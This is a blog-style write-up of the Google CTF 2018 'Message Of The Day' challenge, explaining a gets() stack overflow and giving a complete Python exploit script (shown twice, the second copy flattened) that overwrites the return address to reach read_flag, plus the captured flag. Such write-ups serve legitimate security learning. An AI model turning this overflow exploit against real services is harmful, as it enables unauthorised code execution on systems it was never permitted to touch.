Google CTF 2018

Message Of The Day

From the OffHub router, you jump onto the Google-Haus smart hub. This fully feature assistant of the future that uses machine learning on the blockchain to control all our IoT devices promises it all. It delivers the ability to print a Message-of-the-day. The rest is available as a premium subscription service paid monthly.

$nc motd.ctfcompetition.com 1337

You can find my all CTF solution in here

Attachement file and open server info is like above. I open the motd file in IDA

In the main function inputs taken by getline. If we want to use overflow memory vulnabities we must to search gets() funcition. Luckly, I found that, in the set_motd func. Also, buffer size is 0x100 which means 256 bit. we can use this memory for jump the given adress.

We must the find address of the flag, so that I found the get_admin_motd function and I saw read_flag function.

read_flag function opens the ./flag.txt file. It can be flag file I found the address. Now I am try to bruteforce for jump that line.

Adress is 00000000606063A5

I use gynvael’s scripts

#!/usr/bin/python
import random
import sys
import socket
import telnetlib
import os
import time
import threading
from struct import pack, unpack
from time import time

def recvuntil(sock, txt):
  d = ""
  while d.find(txt) == -1:
    try:
      dnow = sock.recv(1)
      if len(dnow) == 0:
        return ("DISCONNECTED", d)
    except socket.timeout:
      return ("TIMEOUT", d)
    except socket.error as msg:
      return ("ERROR", d)
    d += dnow
  return ("OK", d)

def recvall(sock, n):
  d = ""
  while len(d) != n:
    try:
      dnow = sock.recv(n - len(d))
      if len(dnow) == 0:
        return ("DISCONNECTED", d)
    except socket.timeout:
      return ("TIMEOUT", d)
    except socket.error as msg:
      return ("ERROR", d)
    d += dnow
  return ("OK", d)

# Proxy object for sockets.
class gsocket(object):
  def __init__(self, *p):
    self._sock = socket.socket(*p)

  def __getattr__(self, name):
    return getattr(self._sock, name)

  def recvall(self, n):
    err, ret = recvall(self._sock, n)
    if err != OK:
      return False
    return ret

  def recvuntil(self, txt):
    err, ret = recvuntil(self._sock, txt)
    if err != "OK":
      return False
    return ret

# Base for any of my ROPs.
def db(v):
  return pack("<B", v)

def dw(v):
  return pack("<H", v)

def dd(v):
  return pack("<I", v)

def dq(v):
  return pack("<Q", v)

def rb(v):
  return unpack("<B", v[0])[0]

def rw(v):
  return unpack("<H", v[:2])[0]

def rd(v):
  return unpack("<I", v[:4])[0]

def rq(v):
  return unpack("<Q", v[:8])[0]

def go():
  global HOST
  global PORT
  s = gsocket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((HOST, PORT))

  # Put your code here!
  s.sendall("2\n")

  newmotd = ("A" * (256 + 8)) + dq(0x00606063A5)


  s.sendall(newmotd + "\n")

  # Interactive sockets.
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

  # Python console.
  # Note: you might need to modify ReceiverClass if you want
  #       to parse incoming packets.
  #ReceiverClass(s).start()
  #dct = locals()
  #for k in globals().keys():
  #  if k not in dct:
  #    dct[k] = globals()[k]
  #code.InteractiveConsole(dct).interact()

  s.close()

HOST = 'motd.ctfcompetition.com'
PORT = 1337
go()

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

#!/usr/bin/python

import random

import sys

import socket

import telnetlib

import os

import time

import threading

from struct import pack, unpack

from time import time

def recvuntil(sock, txt):

d = ""

while d.find(txt) == -1:

try:

dnow = sock.recv(1)

if len(dnow) == 0:

return ("DISCONNECTED", d)

except socket.timeout:

return ("TIMEOUT", d)

except socket.error as msg:

return ("ERROR", d)

d += dnow

return ("OK", d)

def recvall(sock, n):

d = ""

while len(d) != n:

try:

dnow = sock.recv(n - len(d))

if len(dnow) == 0:

return ("DISCONNECTED", d)

except socket.timeout:

return ("TIMEOUT", d)

except socket.error as msg:

return ("ERROR", d)

d += dnow

return ("OK", d)

# Proxy object for sockets.

class gsocket(object):

def __init__(self, *p):

self._sock = socket.socket(*p)

def __getattr__(self, name):

return getattr(self._sock, name)

def recvall(self, n):

err, ret = recvall(self._sock, n)

if err != OK:

return False

return ret

def recvuntil(self, txt):

err, ret = recvuntil(self._sock, txt)

if err != "OK":

return False

return ret

# Base for any of my ROPs.

def db(v):

return pack("<B", v)

def dw(v):

return pack("<H", v)

def dd(v):

return pack("<I", v)

def dq(v):

return pack("<Q", v)

def rb(v):

return unpack("<B", v[0])[0]

def rw(v):

return unpack("<H", v[:2])[0]

def rd(v):

return unpack("<I", v[:4])[0]

def rq(v):

return unpack("<Q", v[:8])[0]

def go():

global HOST

global PORT

s = gsocket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

# Put your code here!

s.sendall("2\n")

newmotd = ("A" * (256 + 8)) + dq(0x00606063A5)

s.sendall(newmotd + "\n")

# Interactive sockets.

t = telnetlib.Telnet()

t.sock = s

t.interact()

# Python console.

# Note: you might need to modify ReceiverClass if you want

# to parse incoming packets.

#ReceiverClass(s).start()

#dct = locals()

#for k in globals().keys():

# if k not in dct:

# dct[k] = globals()[k]

#code.InteractiveConsole(dct).interact()

s.close()

HOST = 'motd.ctfcompetition.com'

PORT = 1337

go()

CTF{m07d_1s_r3t_2_r34d_fl4g}

Message Of The Day | Google CTF 2018

Google CTF 2018

Message Of The Day

Leave a Reply Cancel reply